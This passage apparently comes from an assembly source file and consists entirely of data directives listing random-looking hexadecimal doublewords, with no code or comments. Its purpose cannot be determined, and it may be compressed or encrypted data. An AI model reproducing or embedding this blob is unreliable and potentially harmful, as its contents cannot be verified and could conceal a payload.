0A821AB01h dd 0DC6DB0DEh, 2E54E18Bh, 5C039490h, 14F8B7A3h, 0EB41000Bh dd 0E83C4859h, 0B69838FFh, 1F004C72h, 0E4E34657h, 53A5209h dd 0C2DE0CAEh, 3054A0BDh, 1E0040B0h, 147A2490h, 306CE40Eh dd 65A8D369h, 8E027E7Bh, 5BDA176Bh, 0C1EC8F6Eh, 42609204h dd 4E803829h, 0F090C668h, 0F9F888FEh, 0DDE1BD02h, 61D2B92Ch dd 0F0203144h, 64835901h, 7E606EC8h, 86A525E9h, 8E95F409h dd 0CC60A0F6h, 7C0697h, 1D469314h, 72C54332h, 5AC21200h dd 41B3C07Eh, 706F6902h, 6D53E080h, 7C74D883h, 9DF5E412h dd 3D6EED00h, 0E9BC72h, 4F519CFDh, 0DDEBFCA6h, 0A873F10Bh dd 0A57CAF65h, 44E4BBD2h, 2B8130C5h, 0CC5E76F1h, 19BC6805h dd 5C916F1Ah, 0D2E47B41h, 1DEC1CA0h, 5594987h, 3C444A5h dd 58B2C9C8h, 71D4100Eh, 11CA60B4h, 7AF14943h, 6125600Eh dd 83AD7AB9h, 0B0858913h, 6E8C9030h, 0FE8201E0h, 0ABEAB254h dd 9C308068h, 26A01ACAh, 4F20F922h, 78341E67h, 159DD6Ah dd 39D0B80Dh, 0D5A03ED5h, 0EAEB004Bh, 1FC1CC5Dh, 92073BE2h dd 0EECE244Eh, 0CE368C32h, 0F1CA232Ch, 51114160h, 18B2A5h dd 0F37A6481h, 0E5507067h, 1772AF3Bh, 0D04AE26Ch, 0CE0098C2h dd 359E8BAAh, 0B8A50299h, 92A2065Dh, 4A2B54F0h, 61803452h dd 1FE81E5Bh, 0D2F52C5Fh, 8EA40020h, 0E6B26ADDh, 509D2203h dd 9A1153F2h, 0D1DCC14Ch, 15BC050h, 5F9B1F47h, 13124150h dd 801042E9h, 2AF01728h, 0DBB76Eh, 80D0CC38h, 0A59A8F7Eh dd 574FA800h, 50CB964Dh, 0BBA90039h, 26E521D4h, 0B45088DDh dd 965FD2C0h, 4624BC20h, 78DB60D0h, 0C6E29D7Ah, 0DC182BE2h dd 0D9E0FF5Dh, 923F0123h, 0ABC88BF0h, 0B053DCE6h, 2648A258h dd 6300A8E3h, 360282F1h, 18A062E9h, 4044F92Eh, 76244D49h dd 0AC6459h, 304106FAh, 0FDC48FCh, 3C321694h, 0F0807E89h dd 62775F04h, 0A04E2B00h, 63980286h, 13B31AEh, 2CFEA340h dd 0BD620774h, 8690654Dh, 0D6F624h, 7F900C1Dh, 0F16A0879h dd 0D10084E8h, 0C8897BB3h, 0D0CBDDh, 0FF338E0Bh, 0A0BA95BFh dd 9C72A924h, 5F29CA40h, 9AF200B4h, 0D84E5619h, 6800C611h dd 0FCDDEC66h, 0F26F77F9h, 0B67001Eh, 1008BE5Ch, 0A4054225h dd 0CA56684Bh, 0D79F9C00h, 3FFBC004h, 471E4D0Ah, 81BE7EF2h dd 28AD7300h, 0E4D5083Fh, 6DC9B200h, 8CEC7942h, 0E1092859h dd 0B19B1F08h, 10F14034h, 0BF35C536h, 7DCED201h, 0ED4C8113h dd 3387081h, 60AF2808h, 47746140h, 0D165D878h, 0A4D00D30h dd 80A8E0F9h, 1500EA2Ah, 0D8EF4159h, 0C01930h, 9CEE1213h dd 0E75A3867h, 14799A79h, 614E0702h, 50654BC2h, 1AE624h dd 0B208F333h, 0C5E6316h, 0EDFF210Eh, 80D9C947h, 0C90B1FDCh dd 0C3A5004Eh, 0CFA7D332h, 512607D5h, 120118DFh, 2D7DBEA6h dd 0BCC18878h, 20B34E45h, 15125A1Ch, 348817FCh, 0E40F1F96h dd 0C1A1409Fh, 993C20DFh, 540D2E0Bh, 562B8922h, 0DB2066h dd 0BD97ACECh, 0C6305977h, 9F18ED3Dh, 92D4F30Bh, 0B1E40A84h dd 803BA36Ah, 0FD0F017Eh, 349163Ch, 6FC0724Dh, 0BFA01486h dd 0C1048DA4h, 77A141CEh, 22156081h, 671310E4h, 71961074h dd 385804F1h, 18141E94h, 4AC41A80h, 0FCC387h, 3C98459Fh dd 0D18F5B5Ch, 80177639h, 2360302Bh, 25A7812h, 0A866E816h dd 5CF0981Ah, 77619C00h, 0AB1E46BEh, 3FB8C04Eh, 657FE759h dd 0F65E0306h, 2A8B694h, 78FE1D52h, 0CAD43750h, 6064A60Fh dd 0D6F713DCh, 745E009Bh, 1299F4FDh, 0BB072DE0h, 1ABC2933h dd 0C7A01BE0h, 0C8FB016Eh, 0F9132EC4h, 836420FCh, 0FF79760Fh dd 336B200Ch, 93ACEBh, 4543D2E5h, 54CA31E8h, 1A021079h dd 0F3C8A8B4h, 8910E9D0h, 0AC760840h, 321104F1h, 80E0F4D8h dd 8BB464Ch, 1953B412h, 0A06442E1h, 0C7D300D8h, 7945149Bh dd 895C7F9Dh, 0AE601884h, 7CD8B138h, 4EA80010h, 823F3ABAh dd 8600F45Dh, 0E1E57A41h, 7BB256CDh, 0F8E30E6Ah, 3F200CEBh dd 96F6EE94h, 0EDCB3E06h, 0E0F4A9h, 0CC082533h, 0A35AB79Fh dd 0A00DEF2h, 2FD3E5F2h, 3A2118h, 31766127h, 0E23F3904h dd 2CCB0105h, 800D9AEh, 0A159FBE6h, 738B3B85h, 0BF6A860h dd 0BB13D319h, 98408C2Fh, 6B0A9616h, 9F2A03D1h, 0D83CE66h dd 0B1E0C0FCh, 8900A12Bh, 0DC0BF21Ah, 4C91D7Ch, 57864EDEh dd 63E093A4h, 0EB768BB0h, 99F68A01h, 0D54748F0h, 3E30A3E4h dd 0CEB0B22Bh, 9A911F80h, 10F66D01h, 0EC9C5598h, 0C237D0h dd 889BBF7h, 6860DC86h, 544EB0Fh, 2330A081h, 7EC0F6Ah dd 0A1F1A42Bh, 65800028h, 8601CD22h, 0E9A75259h, 62D8A819h dd 11B1F44h, 759C0064h, 4F5FCA5Eh, 508B6900h, 53B5DC4Eh dd 0DF340098h, 0EF89AB79h, 95007835h, 9BF9B9D5h, 0E603B721h dd 877D92h, 0FEEC1F55h, 0B204E7B6h, 4118F8F0h, 441816E9h dd 3FAF015Bh, 7D14079Ah, 0D8F9E086h, 0D72E9D00h, 1078E5C2h dd 328400F5h, 761D7344h, 6C002195h, 0CE8B90A9h, 5B5EEF9h dd 0BA04A6B6h, 0ADF8C040h, 0C071F72Dh, 3E952B07h, 84DB491Eh dd 0E4BCF4EDh, 0D8A3F907h, 447AE054h, 0D12C117Ch, 4C00507Eh dd 0B8C38B47h, 0ADDE060h, 0C2882876h, 294F0008h, 61AC1D89h dd 4DD86518h, 0B5DB030h, 274B8D20h, 553680E8h, 0A7394401h dd 0CF38C69Bh, 7727AD0h, 37F85E8Bh, 3B30C0AFh, 87512D05h dd 78EDD84Ch, 41ABD925h, 6D08310h, 1F861F0Fh, 0CA2440C9h dd 49AF5FF6h, 0A850070Ah, 2501A8FEh, 2F468C59h, 2D013D0h dd 0FABC2E66h, 766098AAh, 91000989h, 0C41E2F8Bh, 2D327F5h dd 0D78212EBh, 408F8D28h, 0C0ED1AE5h, 0A46320B8h, 60C03750h dd 0E590B600h, 0F666FA35h, 956573E6h, 862DBC22h, 0D8392086h dd 856C630h, 18F83B69h, 21DA3C2Dh, 7A60582Fh, 0FA55F739h dd 0DF56006Fh, 55E0ECDh, 7E00F19Fh, 0C906D63h, 0F4AD47h dd 3C6286F6h, 0A045C209h, 7B5A2800h, 3B1ED815h, 7CBAF22Ch dd 20F01D43h, 8E1CE0E6h, 52806D21h, 0BB1D9BE4h, 61D9E078h dd 3C5789D1h, 3804DB40h, 0A6764B3Ah, 1857A05h, 0B64C75D0h dd 0C61041CAh, 0AE03D5h, 7C98B041h, 1C01CEDBh, 4411D1C7h dd 0C6D98980h, 8CD5002Ch, 509556FFh, 0BB006E49h, 0B67AD672h dd 18F544D2h, 6040302Ch dd 720F48Eh, 55D10CC0h, 2F18ABA4h, 85615A13h, 1B40801Dh dd 893FF7AFh, 7547000Fh, 0BA97455Bh, 0CF016D02h, 0A7B14C09h dd 7970ED5Eh, 0A0B858h, 70448BA6h, 4293EA3Eh, 0CD47F116h dd 5DFE190Eh, 610AD340h, 7CCA3B2h, 9A2571AFh, 427973B3h dd 1EE096C3h, 0BB00E9CBh, 815522EEh, 1233F8h, 74970327h dd 31DACD5Fh, 61008AFCh, 8F59E40Ah, 89705Dh, 8247FEE6h dd 0E130806Eh, 5F1C3B00h, 994DD55Eh, 0A8EFF5E8h, 0F391CAh dd 0EFDDE9DBh, 0F9613CB8h, 2D57C00h, 0BA9C2BB3h, 0AFFA0575h dd 0C011175Ch, 0E179533Ch, 3AC1D51Eh, 0E257D900h, 0CE24D6h dd 96CCC5E3h, 26D142C7h, 28FA3A30h, 3C6009AFh, 2C122EBEh dd 0CB00BAD2h, 0D8D95468h, 49718Bh, 9CD6231Dh, 2798F984h dd 45BD8E0Fh, 29B186C9h, 0F6E40748h, 0C0A5CC71h, 4B02967Eh dd 1D36FE00h, 0EA2C3CC2h, 58AE602Fh, 0A10C4EE8h, 9066240Fh dd 203B6E3Dh, 866DA54Ch, 0B1BE00E3h, 0D1BA1127h, 4B0C5A74h dd 0B0C08B60h, 33410087h, 2CE8B1CBh, 0DD07913Bh, 47559D84h dd 6A905987h, 0AF54F6h, 0AEE06458h, 1EEAA79Eh, 344DC102h dd 40ED56ADh, 1C329035h, 404885ACh, 0E0464F1Fh, 7300F8A7h dd 8D971730h, 5AC80Ch, 3CD43394h, 0D7374519h, 0ADC4B800h dd 0EA95F985h, 51A11E82h, 39013A98h, 87C3F8D9h, 68ED3040h dd 0D50D6F78h, 2031F5BCh, 0C00B7080h, 829AC438h, 62E71700h dd 8D034BB3h, 29100AEh, 67E546F1h, 0DB00B1F5h, 0A7953F53h dd 378420D5h, 0D1499AF7h, 70D1D886h, 0E603B125h, 364A5730h dd 3A44E8B8h, 0D4760787h, 0E0B9D9E1h, 1FA9D332h, 178EC200h dd 0A17D39A8h, 4A5130FAh, 49238C51h, 80C7FF51h, 0B5F1FC10h dd 7E9A2AFh, 0FE4F2971h, 0C437A07Fh, 0CD000A65h, 221F34F0h dd 0F280C740h, 25521F77h, 6C0ECFADh, 426F5BC0h, 720074F8h dd 0D4992209h, 4871D9h, 5FA0C22Bh, 0DC9F332Fh, 7D20AA77h dd 47A5041h, 6413300Eh, 9377CF18h, 326A6800h, 541675FCh dd 2F113C91h, 0DF2A2480h, 6E39A08Eh, 0FF567800h, 869ADD4Dh dd 1535039Fh, 2E27E1E9h, 67EC9EC0h, 0F9008FF2h, 7A65EB64h dd 0F1C2Ah, 82C4EFD0h, 0D1ED79FCh, 4027800h, 668FDBDCh dd 55E31F36h, 9E3380B4h, 0E4FEB247h, 576AD203h, 0D8BA09B9h dd 0DE8958D8h, 0B12381BCh, 0D0FC93D4h, 6601DFF6h, 0DB5C7AB9h dd 0A9D47D9Dh, 30A20781h, 40A54BF8h, 7E636082h, 0E9400A00h dd 488BB838h, 0AB8E0F15h, 0E0405AF7h, 0B5BDEA1Eh, 274ECF01h dd 544C8984h, 2A23F8h, 17D07BABh, 0B7B0DB06h, 4179391Ch dd 0C636F100h, 739824h, 0D8BB4759h, 8E7E50E3h, 8717C300h dd 5313F457h, 18443BB0h, 7DC64C00h, 96820A6Dh, 0D4480B00h dd 1A556157h, 0B270503Dh, 0E47559h, 3EE18D11h, 0FE631EF3h dd 4029EE0Ah, 0D480E4F2h, 24E21BBBh, 0BEAA0039h, 5A96DAAFh dd 5779C159h, 0ACB2C000h, 0C538976Fh, 40A76172h, 7A0F6Dh dd 0B0F6868Fh, 681D07DCh, 0F2BB407Ch, 0D78FB705h, 0B46167E0h dd 0DF3CCE06h, 0B58780DDh, 0C64921ACh, 0A3D0387Ch, 25EA9E80h dd 0F647FA82h, 7A76800h, 0FB5F88CFh, 7DC9006Dh, 917534D9h dd 0E41C14C4h, 8D5EDE55h, 13447B41h, 0FFF82A52h, 8A1B000Fh dd 0EFA6D9C1h, 0F200649Fh, 7876DBEAh, 784A95Eh, 87F84C6Fh dd 39A4600Bh, 55001A29h, 0E1E46725h, 0D90FD4h, 0F0245F2Fh dd 6512241h, 2CB0F400h, 1A815C33h, 7FDE00BFh, 557EF2Eh dd 0C2041251h, 54205F36h, 0C07E62C0h, 0EACF00B1h, 3EFBF56Dh dd 590740FDh, 4A7AF8A3h, 0F47F48D0h, 0EFEF2A8h, 0F1B444D7h dd 0D6070200h, 4300B6CDh, 0ABCCAECFh, 3B995D47h, 0F59E6659h dd 68B5CC1Fh, 63009E44h, 0B9ACEE9Bh, 16150695h, 103E0149h dd 0ED00CC49h, 0D9283854h, 9B8CEAEh, 0E79A3700h, 5AF6BA01h dd 7F160067h, 89DBB3D8h, 0EC3C4DA0h, 0E06B16F7h, 33D00BAh dd 6755A7F5h, 86AEF400h, 5681C4BEh, 701D2683h, 3D72042Dh dd 0E9028075h, 0B478E0F5h, 90687824h, 8649A387h, 0EFD90480h dd 0DB5B0028h, 1FD28AC9h, 3E121AD0h, 500051D6h, 7991777Eh dd 630B3009h, 332DBAC8h, 561980h, 767E3642h, 0D2F77965h dd 0A32A711Eh, 0CB00BA35h, 0AF604CDFh, 8B150170h, 86A22B88h dd 6AE4EC7Dh, 0C0304100h, 39A7509Dh, 9E141CD0h, 77E6C040h dd 6AE0A678h, 0D1E939h, 0C6A111C4h, 909CEF8h, 8217AB31h dd 7C97B400h, 0CA052F49h, 0EA2407E0h, 0AEB10380h, 0B8B71EEh dd 0D1B2D01Dh, 0D6178780h, 4E39295Bh, 0A8693Ah, 8FCB9A88h dd 0AB521E26h, 21CD07E0h, 30D55048h, 854C2D7Ah, 39500ACh dd 0D7597FA3h, 9A33005Eh, 758F1DD2h, 5D00CE3Ah, 8D40C627h dd 3A7C2F0Eh, 6E0F1BC2h, 841546A8h, 108B0070h, 0C15ACF5Bh dd 0D6049648h, 7A77811Ah, 965D892h, 0E4394602h, 751B0740h dd 25DFE204h, 86C0B457h, 7D5E97A9h, 0E519002Fh, 30E1E7D3h dd 740005E6h, 8F29DE0Eh, 707F6BEFh, 26D9008Ah, 7BD88885h dd 4607822Eh, 972C502Ah, 73680300h, 0A642EF3Dh, 0EAA440B7h dd 8FE400ADh, 4DCF8083h, 9000929Fh, 774255DBh, 2E00759h dd 8366267Dh, 986857DEh, 383F9CDAh, 79E8016Ch, 0A6666281h dd 5CFE40D4h, 87004CF8h, 6B3902B4h, 4A0C70A1h, 48669ECCh dd 1FAF3FD1h, 3ADF780h, 8F11333Ah, 47F22100h, 0E8F05625h dd 0DF96003Ch, 0A475CB6Ah, 0DD1D3128h, 9DC0E51Dh, 0B9E8DC8Bh dd 442F4C5Bh, 0C363027Fh, 0F27C6EA5h, 58CCD890h, 0D51D7103h dd 0F046B7C4h, 98479442h, 74550074h, 0AE08BE31h, 78B844EBh dd 4C3E6F5Ch, 0DD007F58h, 72A482CCh, 53F30C03h, 0F1001066h dd 65B0FFD9h, 0C2709D4Dh, 6481CD00h, 562075Dh, 51210066h dd 94043134h, 0C900E776h, 4E3EB345h, 0D2689Ah, 65F9D2Eh dd 84A5876Ah, 0A200647Ch, 0DA4257DDh, 0DCCE4Dh, 8A6216E3h dd 10A9E0BCh, 24F1C200h, 35B7B94Ah, 0F0D002Fh, 28A544C3h dd 4CF0AE25h, 0B9BE7400h, 2EF6B662h, 0C3342EF5h, 0FD0A8318h dd 5900A6FBh, 638FD308h, 34DA2EEh, 0B093A1A5h, 487C0B02h dd 3D836205h, 0D897FFE7h, 0CE43CAB0h, 2637007Fh, 0A2018407h dd 0A990B3E7h, 1EAD3605h, 3A82EAE9h, 0ED25C091h, 8EB51F6h dd 6E7A4D4h, 0B27F60E0h, 6D09310Ch, 1B42348h, 28C80D44h dd 7A11DEB0h, 6AC0806Eh, 0B78F326Ch, 3619C2BAh, 98C865DAh dd 8307BED0h, 9B96E9E0h, 6D7F7900h, 6B6E244Ch, 0E3050068h dd 0F487B78Bh, 15B2FA00h, 0E02ED52Fh, 4B34009Bh, 22C46356h dd 351E1AE1h, 68F7427Bh, 0C57402D0h, 980D0031h, 82914A29h dd 0DC900CC8h, 0D58EE00Ch, 0B691E8h, 3B52C714h, 0F9EF70C8h dd 931C100h, 0D1BBFA98h, 2D35FEB4h, 62C242CFh, 72ADC820h dd 6BB8D439h, 48E19600h, 625D11D3h, 4CAC0006h, 90B19C3Fh dd 1371EC97h, 1ED67A00h, 0A1BC5CBEh, 0B42700FBh, 1DE85FA9h dd 0B789FA6h, 0DA2BDD00h, 0A0B1506Eh, 6F340097h, 24359D62h dd 550064F1h, 81B25645h, 5861CD73h, 6203FE89h, 4468C776h dd 0DBFD30EFh, 530939Bh, 0B462E1B3h, 0AE4F00D5h, 0DE323696h dd 0E000496Ch, 0E33A3E12h, 0A89CC235h, 7427618h, 692D5D1h dd 61E937F5h, 0C04D3158h, 73E85A97h, 61868800h, 9350BFDBh dd 946900E0h, 0BC53356Ch, 59072D7Ch, 1CA2E2DEh, 6A893420h dd 0E8EB14B0h, 7401FCB2h, 0E1B67C9Fh, 0D9209C69h, 4181CB20h dd 15B7BC0Ah, 8F00D8CFh dd 0AD7FAE90h, 0A374F18Ch, 0FC08A463h, 0EE200030h, 4DDCAE5Fh dd 0C000C85Ch, 698C330Eh, 3BF89F70h, 7A00FA99h, 0B14DB62Bh dd 68F45AEBh, 79300E54h, 0AD42AE08h, 912BC674h, 0AE5CE100h dd 89277E83h, 653ECC8h, 0EF5D3A9Ch, 0B101F0F3h, 9E20FD36h dd 0D88C848Ch, 0A9D1B2DCh, 9190CE00h, 2EE7A0A6h, 7E8600FFh dd 0A5783E23h, 511B407Dh, 9848C49Bh, 11DBBAh, 21828FEAh dd 8C5FEF84h, 0DC069105h, 13855533h, 94018200h, 0F142C1h dd 0A1783B0Fh, 21A3F31Eh, 47E1700h, 373D93AAh, 0CF0139B2h dd 194E9Fh, 0DF4F9124h, 95EE8298h, 9BC6DC00h, 274BB4C7h dd 0DA9D3C85h, 0F6D4250Fh, 0B211E100h, 0A1077A48h, 0C914662Bh dd 0FA81930h, 32B50FB4h, 0DF007229h, 0E38E8278h, 80FADD38h dd 0B3732470h, 38015Bh, 9014CEBBh, 3A881339h, 0E19D661Fh dd 0BE4118B1h, 0F04DA7DCh, 0AAEE3C19h, 70686F0Fh, 0D144AB00h dd 0CE00B788h, 0BAD9491Eh, 1D19A5C8h, 0FE703CFDh, 0D9686577h dd 46573h, 954BBFAEh, 0D8C02550h, 0E0C16FDDh, 4C050FE1h dd 492144A6h, 0E8A7CEEFh, 0B11E4F27h, 8CA8EB8Eh, 6E6D8B19h dd 52F0B330h, 0EDB200A9h, 0D7BB765Ch, 40E5157Eh, 6F353FEEh dd 49955A14h, 968F0C28h, 0A1661903h, 0D244C0h, 0E214CDAh dd 0D5CA9C1h, 604D7C76h, 0C37A6C0h, 7005E8B7h, 418935A8h dd 0D0719AC8h, 0AD009058h, 1A17B5F5h, 5114EC23h, 548BEA6h dd 0F029108Ch, 0B11B7C22h, 3C40B584h, 688BDB04h, 484F18Ah dd 271AED1h, 4827519Bh, 3A075B08h, 482844A4h, 8770F448h dd 0BDB6E886h, 94680649h, 38663491h, 0DD4CB05h, 0D01D0EBFh dd 7B28B501h, 5C116E06h, 409DF9A7h, 95F11418h, 0F8A63002h dd 81D069E3h, 19432850h, 0B17C3987h, 0A6A9709Ah, 94A8A2B6h dd 31184B95h, 9DA95E6Eh, 0F1C8039Bh, 4CAD2248h, 412933C1h dd 0E00E1884h, 123CD292h, 8CE33F5Ch, 10DC6FFBh, 0CA6903D4h dd 1A8553BEh, 2786B9C0h, 0A3604C1Fh, 940EF000h, 0C258BE0Fh dd 3844A769h, 7B7F3044h, 0B2AEFC05h, 0A020B0FEh, 909732Eh dd 13BECBC3h, 0F48E0020h, 3311EE1h, 164620CCh, 3F82A1B9h dd 52D8F359h, 0BEFBC840h, 58EDCC24h, 1702A81Eh, 0C0DEF027h dd 9FD6129h, 65F23697h, 410CCDD6h, 0AFCE607Fh, 32279040h dd 914768DCh, 12035A40h, 0ED0517F0h, 8EBE18C7h, 0EC27A74Eh dd 81481AF6h, 0E911ACACh, 105446B9h, 20EECE32h, 116D213Ch dd 0A95C301Ch, 440AB60h, 51E9C68h, 44AA8C27h, 5DA441F9h dd 325537BEh, 487F1410h, 0A2DB3D0Ch, 184C5473h, 71C420FBh dd 95C8BC0Fh, 2B8880ECh, 9236F0A3h, 0F7C40080h, 6F5DE38Dh dd 441D14FDh, 9618FB07h, 0EAF0B21h, 0B4E25B4Eh, 2A973Dh dd 8444BBF2h, 0A80DCC81h, 68C89FC6h, 2A3817E4h, 0A81B10h dd 0F6CFE3F9h, 472E49A7h, 5174A9ECh, 0D29434F7h, 2A38B48h dd 6B6E12Fh, 84A460C5h, 0FE0D2493h, 0A0F00ABCh, 4BCF0FF8h dd 24039454h, 12E31F88h, 3BDD203Eh, 0B138ED2Ah, 1366F420h dd 432805BDh, 0D0B4D33Ch, 7B86DBF8h, 0CEF20D0Eh, 14E58434h dd 0D1A0FE00h, 5206FC38h, 2C62B94Fh, 435C0C50h, 0BA687F9Ah dd 6C19ED13h, 1E682C18h, 0B76901DBh, 1BA43E4Eh, 818D7E9h dd 50202EC6h, 9069003Fh, 2B1C77F4h, 353AEF97h, 0F00CFD30h dd 58E2CE43h, 0CA781B85h, 0B823702Dh, 6CB60353h, 62A4DBD6h dd 0E884A00Ah, 0FC68295Ah, 0B235008Fh, 7D4CB6B1h, 0F4AAB823h dd 0E2941860h, 0C4B948h, 0F927346Bh, 7B21E35Ch, 0FF5B0764h dd 0E07C2455h, 0A810C2A9h, 1E89A538h, 0E040FA1Ah, 78AAD454h dd 0EADD05DBh, 6EDCD3FFh, 8AC20404h, 0F56DDDC8h, 0F0EF0CCh dd 5308CF7Ch, 430C838Ch, 5DBBA0ABh, 4374503Ah, 8EA07C30h dd 83F0DA71h, 20AB967Ch, 66B61800h, 0B4037DD3h, 4B7831F1h dd 42258399h, 18850B28h, 554C4A8Fh, 0CC283304h, 12481914h dd 8D6A2E1Ch, 0F4749022h, 8D150AEh, 4204400Ch, 1808EE51h dd 5534CC04h, 4450F0D3h, 18044164h, 0A1AC21Ch, 120925AAh dd 0AB14270Ch, 8132489Ah, 2CC53BA5h, 3AFCDD50h, 2E673D00h dd 32BB5A80h, 0C15622ACh, 961DDD1Dh, 8FB413C0h, 7430DC88h dd 0C8FCA5B0h, 0CB585F04h, 242F3E4Ah, 0C4A21B14h, 783B8480h dd 9819BD7Dh, 2E06E857h, 8C88C4D3h, 39C71C2h, 0F05C3403h dd 5106C540h, 0BB90C005h, 858DF33h, 549E4ADBh, 4837BCECh dd 0E2404940h, 0FD4F079Fh, 33947E12h, 617A68CAh, 6F3031EAh dd 0AFFF118Bh, 9D3A0121h, 0BBF1BF24h, 7D6980B7h, 4E812A40h dd 0CBE713FDh, 4FB8009Eh, 72379275h, 3A5DDB3Ah, 48007745h dd 39C22369h, 1D25F70Bh, 33820D6Dh, 6806EA0h, 0E3BF617Dh dd 0C1006F5h, 0C1E2DA7Fh, 93548DFh, 978BD800h, 0DEF772h dd 48774F15h, 0DAFFC596h, 0E31D0B7h, 28D5F827h, 0F68BEA40h dd 5A05C337h, 0E5F24BEh, 0AAE7C420h, 5BED06FFh, 0D2DB83BCh dd 29E83D60h, 3DEE6FE1h, 749BE713h, 3C089FEh, 6DFE4A07h dd 48C5FF3Ch, 0D48009Ch, 0D9745981h, 928C0C3h, 18A8A625h dd 0FC8F60A1h, 4F5136DBh, 7388FF7h, 0BCC2A046h, 1AC30CEEh dd 30F8AF59h, 9CC57003h, 0D5C663A7h, 42D09084h, 14F2C7E3h dd 297EF3E0h, 40F18112h, 0B21D718h, 906DF6D9h, 0A1C36515h dd 0B0A81079h, 0FAC3028h, 0C1893587h, 0AD58EF40h, 97280CBFh dd 52059880h, 870940C9h, 0A6A89410h, 0CF740F10h, 3203C2A5h dd 49CDA143h, 6410DBE4h, 5E144436h, 0B2B823C3h, 103431F5h dd 81E7D5CDh, 1B41E8D2h, 3800F898h, 2B32D630h, 47E6448h dd 0E7E16AE9h, 3F2081C5h, 0A87500DCh, 0EEA01496h, 0BE33A4FCh dd 51E0BCD0h, 9F07E179h, 49CA01CBh, 0C1169C81h, 35C800E3h dd 0F18A3041h, 751C9719h, 0FD4AD452h, 0D06A0DBh, 660125Bh dd 494E30FBh, 3F48C8DAh, 90232ABCh, 12C5B881h, 4884A0ADh dd 1287E9B1h, 50CEA9F1h, 0F407D8D0h, 45034227h, 518C2C29h dd 10A15A40h, 263D1DAEh, 0E3420CDFh, 0A60C8F7h, 90C37C46h dd 30654818h, 0CF134EA0h, 22C28D4h, 0D71FB8FCh, 0C4C82DCh dd 0C6184196h, 0C46086E2h, 0C1F260F1h, 0B15FEBF1h, 97707500h dd 42E6D0D4h, 0A4210A1Fh, 18804333h, 18EA41F1h, 8FC3F707h dd 482ADA44h, 27293018h, 0F7108887h, 9697D418h, 1E214479h dd 2A8D4FD5h, 84B90C58h, 8E90FFB7h, 4500DC43h, 586B38BAh dd 6D0090BEh, 1FEB7C4h, 124A10h, 39C1B08Fh, 2FD0D76Bh dd 1543EA01h, 0DAAD4FC2h, 6D2B820h, 320C607Eh, 2454787Dh dd 0D90AFDA8h, 38E1C593h, 0DA503428h, 0D08664B0h, 5635B0B8h dd 93412B1h, 0C745Ch, 25075A28h, 0C0EFFCFAh, 7E4B1001h dd 0EAD42D8h, 22A971E6h, 828BCA44h, 8CA12F0Ch, 0F8F02E2Ah dd 0AD888979h, 0E7240622h, 8198DB87h, 3C047F4Ch, 40CB9FF4h dd 0EFD08030h, 0BECE0336h, 0D4351CC8h, 1B0C7800h, 0A602A513h dd 0C82F4875h, 0F91C18D8h, 0F863083Dh, 0E8C1BC02h, 8280D443h dd 822E53D0h, 80D9648Ch, 74B23698h, 7BE202F8h, 7FC01FE6h dd 40BB4CC8h, 0FE6EFB3Dh, 78CCA22h, 24B9EEB0h, 1F99C057h dd 9600DC61h, 8A668B58h, 0CA9DC7h, 5AE531D2h, 15FF327Fh dd 0F87C9C30h, 58DB5BECh, 4D005C2Dh, 0EF302A45h, 0FA00F45Ah dd 0F9BB85C3h, 1CDF9377h, 0C0B6E954h, 0D007AD3Bh, 7FF92FF4h dd 1E27A0h, 4AFC346Bh, 534C399Eh, 0D19A6700h, 0BAF15AD5h dd 59A61D3Dh, 1AD2858Dh dd 90A410FCh, 11454F86h, 4D01F24h, 0EFCE8F80h, 2C21D81Ch dd 40AC65B0h, 0D2FE33D5h, 6D0E5C06h, 7F49CF0Ch, 87EF26E6h dd 0A36100C4h, 0EC3BBA50h, 5C1DCE00h, 0D1CD37E5h, 2A3E003Ah dd 347A2FDDh, 0C33E769Eh, 273C07ACh, 6B609BA8h, 7BD8A487h dd 0F0F83D82h, 0B9711E07h, 617F010h, 983AEA3Eh, 0D1AF0C39h dd 0E3A0982h, 0C03FFB41h, 1A691058h, 0D471D061h, 69BC219Bh dd 846EF300h, 1B3FC0Bh, 4F01A57Bh, 0EA457BAFh, 41B9B025h dd 0DA8190h, 0DCDBE56Ah, 1595C98h, 0F58FCA8Ch, 0FCBDE2FFh dd 0C333110Ch, 0D15172A8h, 6DDCA5B2h, 418E6021h, 169A522Ah dd 38C64B00h, 0B15D5F42h, 0E3E600B7h, 24D93AA3h, 12EA5C2Bh dd 686D2206h, 37669AACh, 0C0E9F60Bh, 66E61627h, 0E7954201h dd 0C1A0299Eh, 1C57EF0h, 0A93720DAh, 0B369CF94h, 0A0EAF95Ch dd 43559Fh, 46951798h, 0A3E26ED2h, 0C8EB9B01h, 255CA927h dd 93A2886h, 0D6393984h, 7DC38B3Dh, 3870AEh, 75BAC1CFh dd 0EB5F6BADh, 566AD106h, 1530AE27h, 9C538122h, 0D4EADC07h dd 0E0738033h, 0A400F17Ah, 0D20AD8E6h, 1E5101A7h, 9E023C11h dd 2E38C746h, 0DA78DCDEh, 5D420D00h, 6B7F586Ch, 6ED93B23h dd 2506DB38h, 70C93582h, 0FA370B00h, 0F44F8E71h, 0DB0F0773h dd 30D38D43h, 66297DA8h, 44115A00h, 236FFF2Dh, 1FB59025h dd 7C988A70h, 6561E100h, 32A5FE90h, 1E320C8h, 9BEB97BCh dd 38E0F05Bh, 0D8609800h, 32F71207h, 7E397342h, 0B48500ACh dd 0FA798676h, 0B0069B6h, 0D2EE5ACFh, 361492Dh, 548C18F5h dd 8000FC27h, 39362C0h, 0B837AF1Fh, 0B719CFACh, 287B2FA0h dd 22F26EC6h, 0C90D361h, 1CE35E34h, 0CF7BC548h, 89187C65h dd 0E50F6223h, 0A3B99C77h, 0DF376Dh, 5E68E251h, 7A9F646Ah dd 0FF0C88F2h, 21265740h, 0F0FE0005h, 220AD91h, 587AA5B7h dd 9A8833E8h, 4F00006h, 6BD734E0h, 0F4004951h, 15D4B5D6h dd 1B05EFBh, 432DD513h, 0FC20FEB2h, 0DC068D39h, 12892631h dd 0BD830048h, 0E7EF88B6h, 377823BBh, 13E308C6h, 0ACF600C0h dd 41140BB6h, 4002F92h, 0A2E9E542h, 0A2374D3Ah, 0C2DD60C8h dd 8CF150C1h, 718218C7h, 9DA6F042h, 37E51F39h, 77A01007h dd 96094Eh, 16E05F81h, 0E840DDCBh, 80DCC13Fh, 24D4B10Bh dd 39E4EE4h, 564A967Eh, 5F932A53h, 0B60DD0A8h, 7389C400h dd 48B99B1Dh, 0D8B5004Eh, 629E0C42h, 0F77602FFh, 0DE8ABF00h dd 68E5411Eh, 0C65301E4h, 0DD7D1381h, 3FC1E458h, 15959300h dd 913165BDh, 7ED500BCh, 2B4364F3h, 7300BEA4h, 2EB24E0Ch dd 6B4915h, 0A9AA326Dh, 0D19E52FAh, 